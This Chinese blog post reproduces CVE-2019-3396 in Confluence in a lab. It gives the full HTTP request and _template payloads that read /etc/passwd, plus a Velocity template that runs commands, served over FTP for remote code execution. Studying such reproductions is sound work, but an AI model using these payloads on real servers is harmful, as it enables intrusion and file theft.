漏洞复现|(CVE-2019-3396)Confluence文件读取&远程命令执行

作者: 墨阳
免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责。

0x01 前言

1、漏洞简介

Confluence是一个专业的企业知识管理与协同软件,常用于构建企业wiki。它强大的编辑和站点管理特征能够帮助团队成员之间共享信息、文档协作、集体讨论,信息推送。Confluence Server 与 Confluence Data Center 中的 Widget Connector 存在服务端模板注入漏洞,攻击者构造特定请求可远程遍历服务器任意文件,进而可以包含恶意文件来执行代码。可能造成敏感信息泄露,服务器被控制等严重后果。

2、影响范围

6.6.12之前所有6.6.x版本
6.12.3之前所有6.12.x版本
6.13.13之前所有6.13.x版本
6.14.2之前所有6.14.x版本

0x02 配置环境:

最好给服务器虚拟机4G以上内存,vulhub启动confluence环境,接下来初始化配置:
在这里插入图片描述
在这里插入图片描述
BSBI-NU9A-RRKH-P24K

邮箱注册
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
然后填写一个集团名和路径/home/confluence共享目录
配置数据库连接
在这里插入图片描述
在这里插入图片描述
点example site
点manager
在这里插入图片描述
输入用户邮箱密码
在这里插入图片描述
之后的教程跳过-跳过-test-继续
配置完成

0x03 文件读取

1、漏洞触发位置:

插入更多内容(+号)–其他宏–小工具连接器
在这里插入图片描述
在这里插入图片描述

2、抓包,修改(没有账号直接抓登陆包修改也可以)

POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: 192.168.72.129:8090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.72.129:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=E1D021B04024032C964FB9E6A11D340B
Connection: close
Content-Type: application/json; charset=utf-8
Content-Length: 168

{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"../web.xml"}}}

在这里插入图片描述

3、将_template参数修改为file伪协议读取任意文件

{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"file:///etc/passwd"}}}

在这里插入图片描述

0x04 远程代码执行

此处文件包含可以使用如file、https、ftp等协议,如果文件是一个 Velocity 模板,我们可以通过模板注入(SSTI)执行任意命令

1、写一个velocity模板文件:

参考:https://blog.csdn.net/weixin_43072923/article/details/117083611

#set ($exp="exp")
#set ($a=$exp.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($command))
#set ($input=$exp.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))
#set($sc = $exp.getClass().forName("java.util.Scanner"))
#set($constructor = $sc.getDeclaredConstructor($exp.getClass().forName("java.io.InputStream")))
#set($scan=$constructor.newInstance($input).useDelimiter("\\A"))
#if($scan.hasNext())
    $scan.next()
#end

2、开一个ftp服务

这里图省事直接在服务器ubuntu上开了ftp服务,实际可以在kali或者另找一个ubuntu即可

pip install pyftpdlib
python3 -m pyftpdlib -p 21

在这里插入图片描述
payload:

{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"ftp://192.168.72.129:21/test.vm","command":"id"}}}

3、发包,命令执行

在这里插入图片描述

0x05 修复建议

官方已修复该漏洞,请到官网下载无漏洞版本:https://www.atlassian.com/

0x06 了解更多安全知识

欢迎关注我们的安全公众号,学习更多安全知识!!!
欢迎关注我们的安全公众号,学习更多安全知识!!!
欢迎关注我们的安全公众号,学习更多安全知识!!!
在这里插入图片描述

  • 4
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

灼剑(Tsojan)安全团队

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值